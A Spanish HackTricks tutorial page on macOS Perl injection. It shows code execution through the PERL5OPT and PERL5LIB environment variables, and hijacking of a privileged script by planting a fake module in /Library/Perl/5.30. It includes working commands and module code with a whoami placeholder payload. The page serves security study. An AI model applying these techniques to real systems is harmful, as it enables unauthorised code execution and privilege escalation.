5.5 KiB
Inyección en Aplicaciones Perl de macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? o ¿quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Consigue el merchandising oficial de PEASS & HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
A través de la variable de entorno PERL5OPT
& PERL5LIB
Usando la variable de entorno PERL5OPT es posible hacer que perl ejecute comandos arbitrarios.
Por ejemplo, crea este script:
{% code title="test.pl" %}
#!/usr/bin/perl
print "Hello from the Perl script!\n";
{% endcode %}
Ahora exporta la variable de entorno y ejecuta el script de perl:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
Otra opción es crear un módulo Perl (por ejemplo, /tmp/pmod.pm
):
{% code title="/tmp/pmod.pm" %}
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
{% endcode %}
Y luego utiliza las variables de entorno:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
A través de las dependencias
Es posible listar el orden de las carpetas de dependencias de Perl en ejecución:
perl -e 'print join("\n", @INC)'
El cual devolverá algo como:
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
Algunas de las carpetas devueltas ni siquiera existen, sin embargo, /Library/Perl/5.30
sí existe, no está protegida por SIP y está antes de las carpetas protegidas por SIP. Por lo tanto, alguien podría abusar de esa carpeta para agregar dependencias de scripts allí, de modo que un script Perl de alto privilegio las cargue.
{% hint style="warning" %} Sin embargo, ten en cuenta que necesitas ser root para escribir en esa carpeta y hoy en día recibirás este aviso de TCC: {% endhint %}
Por ejemplo, si un script está importando use File::Basename;
, sería posible crear /Library/Perl/5.30/File/Basename.pm
para hacer que ejecute código arbitrario.
Referencias
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver a tu empresa anunciada en HackTricks? o ¿quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Consigue el merchandising oficial de PEASS & HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.